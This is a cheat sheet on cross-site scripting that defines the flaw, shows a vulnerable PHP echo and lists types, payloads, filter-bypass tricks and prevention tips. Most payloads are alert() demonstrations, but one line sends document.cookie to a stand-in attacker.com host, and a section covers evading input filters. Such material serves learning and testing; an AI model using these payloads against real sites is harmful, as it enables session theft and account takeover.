Cross-Site Scripting (XSS) Cheat Sheet

πŸ“Œ What is XSS?

Cross-Site Scripting (XSS) is a web vulnerability that allows an attacker to inject malicious scripts (usually JavaScript) into a web page viewed by other users.
It occurs when an application does not properly validate or escape user input, enabling it to be rendered as executable code in the browser.


πŸ” How It Works

Example vulnerable code:

<?php
echo "Hello, " . $_GET['name'];
?>

If input is not sanitized, an attacker can inject JavaScript:

http://example.com/index.php?name=<script>alert('XSS')</script>

The injected script will execute in the victim’s browser.


🎯 Impact

  • Steal cookies/session tokens.
  • Keylogging.
  • Redirect victims to malicious sites.
  • Deface websites.
  • Launch CSRF or phishing attacks.

πŸš€ Types of XSS

1. Stored XSS

Payload is saved on the server (e.g., in a database) and served to all visitors.

<script>alert('Stored XSS')</script>

2. Reflected XSS

Payload is immediately reflected in the response.

<script>alert('Reflected XSS')</script>

3. DOM-Based XSS

Vulnerability is in client-side JavaScript, modifying the DOM without proper sanitization.

document.write(location.hash);

Exploit:

http://example.com/#<img src=x onerror=alert('DOM XSS')>

πŸ’£ Common XSS Payloads

Basic Alert

<script>alert('XSS')</script>

Image Error Event

<img src=x onerror=alert('XSS')>

SVG Payload

<svg onload=alert('XSS')>

Iframe Injection

<iframe src="javascript:alert('XSS')"></iframe>
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>

πŸ”„ Bypassing Filters

  • HTML Entity Encoding:
<scr&#x69;pt>alert('XSS')</scr&#x69;pt>
  • Event Handlers:
<svg onmouseover=alert(1)>
  • JavaScript URIs:
<a href="javascript:alert(1)">Click</a>
  • Polyglot Payload (works in multiple contexts):
"><svg/onload=alert(1)>

πŸ›‘ Prevention

  • Escape output based on context (HTML, JS, URL).
  • Use frameworks with built-in XSS protection (React, Angular).
  • Set Content Security Policy (CSP).
  • Use HTTPOnly cookies to protect session tokens.
  • Validate and sanitize all user input.

πŸ“š Reference Databases